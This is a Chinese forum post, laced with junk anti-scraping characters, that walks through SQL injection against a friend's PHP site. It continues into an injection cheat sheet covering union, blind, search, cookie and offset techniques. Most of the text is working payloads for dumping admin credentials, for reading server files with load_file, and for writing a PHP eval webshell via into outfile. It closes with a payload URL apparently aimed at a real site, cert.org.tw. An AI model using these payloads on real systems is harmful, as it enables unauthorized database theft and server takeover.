我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
. H5 @$ u, P% M# p0 r& S让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
4 Z6 I( U( `: `1 q我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
) z n1 O/ q3 p6 B如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)2 x4 u0 {6 M# r& R* |* V) h
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
' P, X; _# r# g3 H这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
1 |- t: m: s. UWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
6 W4 I% k- Z% z5 D% r. f* T/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入# f7 w* R P: E+ w4 d
1 f" q0 s; Z( d. i [- N2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
, P ^) V" w6 I& T( e- c3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意4 O1 K9 j& W; E. w6 b+ X G8 C
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
3 g% ?. E6 z: l. w9 w2 Q5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。3 M; W+ n& z$ B; X% _2 a9 h' b
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,- `* A% R. g* l. F
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。0 h; Z% r0 U8 Z2 L" D+ Z8 }
我就用的是第二个思路,) o/ f o' e7 {1 {& r0 Q Z
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 3 n" l$ K1 ?3 {& ]
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,% Y; D1 D$ d& T+ e3 C& I9 V" m
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1-- n0 e7 l) }4 ^3 h' p$ \0 d( i
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
; w, A9 u: i, T4 e7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????, E1 Z8 q: m0 U' d" _" I, F8 W
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....' R7 b# W% s9 d3 p" f7 h/ t7 ~0 [+ E
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
) ~5 u1 f: E3 L5 f4 [& z, _5 s0 w然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
" Q" K" v! F+ w; z! O$ f调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
9 ~# A, K- \7 N& `下面是一些很普遍注入方式资料:# ?* T; j8 }) x/ x/ S2 p. g
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
8 G N5 B' S5 p拆半法
5 g) a4 f# A0 `4 \; N$ O t/ s6 I" f######################################( V! E! i, D9 { D$ e0 ~
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
# ^8 h" ?, \' w. kand exists (select * from admin)
, z3 K8 m6 ^+ Cand exists(select id from admin)5 [( W& A, Z& u% p Q g
and exists(select id from admin where id=1)) y5 |- R/ y' z2 D" g ]* Y
and exists(select id from admin where id>1)
/ Y! B" N& t" o7 T' p, D' I然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
3 M# b& l$ z, q7 Cand exists (select username from admin)
2 V, j6 X& N/ N) O& z) @1 O9 y6 {and exists (select password from admin)
3 U/ k- G3 O* Z9 Q" Qand exists (select id from admin where len(username)<10 and id=1)' s+ k: b' c: U) a+ h0 |
and exists (select id from admin where len(username)>5 and id=1)
1 m$ s& s, H! @% |+ b ?and exists (select id from admin where len(username)=6 and id=1)/ _' w5 x5 p0 s: S1 w& X' }/ N
and exists (select id from admin where len(password)<10 and id=1)$ X6 e' t; ] S$ c- Z
and exists (select id from admin where len(password)>5 and id=1)( ]9 l% ?. d6 K5 {0 X5 _6 \8 V( A
and exists (select id from admin where len(password)=7 and id=1)
( d' m3 d# T. Y" S1 Nand (select top 1 asc(mid(username,1,1)) from admin)=97
) v* C3 q B; y4 O |+ Z/ {返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
7 `. O! l& N' @) }2 o; F L猜第二位把username,1,1改成username,2,1就可以了。
7 M' b5 I- C% _猜密码把username改成password就OK了
7 x! Z, x9 X, b# G& B0 L##################################################
" y& i0 M r: L! \1 x9 u搜索型注入0 M( C, x! j9 ^! \4 N5 Y
##################################; p# G! Q1 V$ H. M; h! n
%' and 1=1 and '%'='$ ?, W( U3 ~' x! H9 S( d
%' and exists (select * from admin) and '%'='
+ x) o: Q S R! q% Q) H$ h( o! S$ _%' and exists(select id from admin where id=1) and '%'='8 H4 L4 e* y* k; H0 d
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='7 l& J9 W! x* g7 d
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
0 e# U. ?( S5 J: Y+ o%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='& ? A; t5 w2 R8 m& F# q0 O
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=' R, i: s2 J0 i& b. E" \
对于MSSQL数据库,后面可以吧 and '%'='换成--
1 o8 Q& R8 X/ V6 u还有一点搜索型注入也可以使用union语句。1 a1 a, a, m/ t" T8 X9 U& t7 s, v
########################################################
3 R& [1 E0 O. r$ t7 I+ e; Y: z" k! {联合查询。
' N( j- j4 I5 X4 X5 }, J O0 w#####################################
- ~" p# u2 V# M$ n5 Eorder by 10
$ c1 N5 t6 E( `and 1=2 union select 1,2,3,4,5,6,7,8,9,10
6 C. T8 r$ x' y, U' gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
- t L1 }3 B( Vand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
# f* R! [& T( l" M, r- Q3 L很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)1 L4 t: U$ f# K. H
###################################
( f, L& G* y3 m1 o7 S- U. B% W) L, ucookie注入
0 ?" t1 z) y4 E4 Q0 u( |, j7 g###############################
' g# r' w/ g" lhttp://www.******.com/shownews.asp?id=127
: d; G1 \( f' @6 T+ R! P/ bhttp://www.******.com/shownews.asp, ], a9 }7 q; z0 |) B! ]9 M1 Q
alert(="id="+escape("127"));
& j: \# m* @5 M. {7 u) Xalert(="id="+escape("127 and 1=1"));
7 ^, `# _1 _* q+ g3 t" nalert(="id="+escape("127 order by 10"));/ s. K6 m6 z/ C
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
; ?# u6 k! o$ {2 z+ Z% D5 {! X! Dalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));2 O' i: k* S" k7 o+ G' ^4 b* ]
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
) K0 ]' g( N% W! ?1 t. y& ~8 Q$ b################################### \- K, p/ ^, [/ }
偏移注入 x4 M: @' [! ^& \+ N& [' B
###########################################################
z) w, [( y( punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin+ H3 D. ?" f0 K* t# j6 y- a
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin8 u, T6 u+ B* E3 x; N
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)5 u; a) _* J3 P# K4 ]
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
* z2 B. q8 `6 S1 Y9 ?# s- g, dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) x$ `) x d& Y/ [
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
! V: @0 L- i$ Hunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
" a1 |2 m3 b4 Ya.id=d.id)
8 y& ^ g% ^8 k/ j0 R0 rand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)1 _! z4 S& k8 @, A
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
; i; L" ~6 Q5 ?& j D1 K* v) `$ d
* u: [4 ]9 l0 d' z" D9 h============================================================================================================
$ k; H) d8 L9 h! t! P8 J* H6 f9 k2 |1.判断版本6 `3 t7 F3 `; A) L. z8 m
and ord(mid(version(),1,1))>51& S L3 y) j& g+ ]( R
返回正常,说明大于4.0版本,支持ounion查询( M7 v9 w5 x7 w2 S
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解$ M' d! [/ s' R1 N6 A# z6 l1 p
and 2=4 union select 1,2,3,4,5,6,7,8,9--
: n5 G F! U- Q d/ B! Z3.查看数据库版本及当前用户,
U7 Z; u3 J1 E* z8 H, Vand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
; r$ m" W( c# [$ T/ k" a数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,9 n8 I% t1 N5 B" [7 f
4.判断有没有写权限
& [; X. N* Q4 J3 }4 V3 }, N6 oand (select count(*) from MySQL.user)>0--
! K3 X3 g& A1 F1 H. ^. v1 c2 g5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1' Y) u- \ D( A2 u/ ^
用不了这个命令,就学习土耳其黑客手法,如下
; }. `6 [, b* [6 w0 u% c" N" K2 Eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
; r% _# E; f4 [" p+ V8 ~1 S6.爆表,爆库
8 W8 a8 m, m6 n" }8 k/ l2 Z" {7 Iand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- k- v3 O- |, g5 l- _' G Y
7.爆列名,爆表 y; j: u$ c! v/ G9 E. A! E
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
6 F/ u9 v9 C6 d" w8.查询字段数,直接用limit N,1去查询,直接N到报错为止。: S- z9 u( Y. x
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
: i) [* a9 j' t8 `9.爆字段内容
( f8 r: c9 ^; J1 a$ I( Vand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--2 V& @0 ^" j) }% ?5 X
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |